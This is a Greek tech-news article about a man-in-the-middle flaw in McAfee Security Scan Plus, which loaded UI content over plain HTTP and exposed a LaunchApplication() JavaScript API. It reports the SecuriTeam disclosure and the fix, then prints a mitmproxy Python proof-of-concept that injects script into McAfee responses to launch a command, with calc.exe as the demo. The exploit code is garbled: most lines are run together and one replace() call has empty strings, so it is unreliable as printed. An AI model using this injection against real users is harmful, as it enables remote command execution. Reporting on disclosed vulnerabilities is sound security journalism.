McAfee Security Scan Plus: όταν η σιγουριά κάνει λάθη


McAfee Security Scan Plus: Από αυτή την ιστοσελίδα έχετε διαβάσει πολλές φορές για αμέλειες εταιρειών ασφαλείας. Ήρθε η ώρα της McAfee. Η εταιρεία φέρεται να επισκευάζει ένα σφάλμα που υπάρχει στο δωρεάν εργαλείο Security Scan Plus που ανακτά πληροφορίες από τους υπολογιστές των ενδιαφερομένων μέσω HTTP, δηλαδή σε μορφή απλού κειμένου.

Η εταιρεία όπως φαίνεται, ξέχασε αυτά που κηρύττει, ή υπέθεσε ότι αποκλείεται να σκεφτεί κάποιος να πραγματοποιήσει επιθέσεις man-in-the-middle στις υπηρεσίες της, όπως στη δωρεάν ηλεκτρονική σάρωση, αλλά και στις εσωτερικές διαφημίσεις και το UI που τις εμφανίζει.McAfee Security Scan Plus

Η ευπάθεια ανακαλύφθηκε από την SecuriTeam, που αναφέρει ότι το εργαλείο της ΜcAfee “ανακτά τις πληροφορίες από διαφορετικά domains του mcafee.com και τις εμφανίζει στον χρήστη, συνήθως στο κύριο παράθυρο της εφαρμογής”.

Δεδομένου ότι για την μεταφορά αυτών των πληροφοριών δεν χρησιμοποιείται το πρωτόκολλο HTTPS, οι πληροφορίες μπορούν να τροποποιηθούν από έναν εισβολέα, ο οποίος μπορεί στη συνέχεια να εκμεταλλευτεί τη βιβλιοθήκη (library) που καλεί το εργαλείο (MCBRWSR2.DLL) για να εμφανίσει ότι περιεχόμενο HTML επιθυμεί.

Αυτή η βιβλιοθήκη εκθέτει το JavaScript LaunchApplication() API, κάτι που πολύ απλά σημαίνει ότι κάποιος εισβολέας μπορεί να εκτελέσει οποιαδήποτε εντολή θέλει στο θύμα.

Το πρόγραμμα της ΜcAfee Security Scan Plus, μετά από κάθε σάρωση, εμφανίζει ένα στοιχείο UI που υποδεικνύει το “επίπεδο προστασίας” του στόχου στην ακόλουθη διεύθυνση URL:

http://home.mcafee.com/SecurityScanner/SSBanner.aspx

Οι πληροφορίες εμφανίζονται στην οθόνη προόδου της online σάρωσης, και έτσι ο χρήστης μπορεί εύκολα να νομίσει ότι ο υπολογιστής του είναι καθαρός, ενώ στην πραγματικότητα μόλις παραβιάστηκε.

Εάν τώρα βρίσκεστε στη θέση του επιτιθέμενου, και πραγματοποιείτε μια επίθεση MITM, είναι αρκετά εύκολο να τρέξετε εντολές με τα προνόμια που έχει ο συνδεδεμένος χρήστης, που σε πολλές περιπτώσεις είναι ο ίδιος λογαριασμός με αυτόν του διαχειριστή.

Το πλήρες PoC χρειάζεται μόνο 38 γραμμές κώδικα. Η McAfee αναγνώρισε το ζήτημα εδώ και επιδιόρθωσε την υπηρεσία τον Ιούλιο.

Δείτε τον κώδικα του PoC

#!/usr/bin/env python3
#
# HTTP proxy mode:
#  mitmproxy -s mcsploit_inline.py --ignore '.*' 
#
# Transparent proxy mode: 
#   mitmproxy -s mcsploit_inline.py -T
#

from mitmproxy import ctx, http
import requests
import time

COMMAND="c:\\\\windows\\\\system32\\\\calc.exe"
CMDARGS=""

def response(flow):
    if flow.request.scheme == "http" and (flow.request.headers['host'].endswith("mcafee.com") or "mcafee" in flow.request.url):
        if flow.response.status_code == 302:
            ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (HTML)")
            https_url=flow.request.url.replace("http://","https://")
            r=requests.get(https_url,headers=flow.request.headers,verify=False)
            if "text/html" not in r.headers['content-type']: return
            contents=r.text 
            contents=contents.replace("","" % (COMMAND, CMDARGS)) flow.response = http.HTTPResponse.make(200,bytes(contents,encoding="utf-8"),{"Content-Type": "text/html; charset=utf-8","Expires":"-1"}) return try: if flow.response.headers["content-type"] == "text/javascript": ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (JS)") inject="try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var x;}\n" % (COMMAND, CMDARGS) try: flow.response.contents = inject + flow.response.contents except AttributeError: ctx.log("[-] [MCSPLOIT] No content in the original response!") pass except KeyError: pass

Διαβάστε τις Τεχνολογικές Ειδήσεις από όλο τον κόσμο, με την εγκυρότητα του iGuRu.gr

Ακολουθήσετε μας στο Google News iGuRu.gr at Google news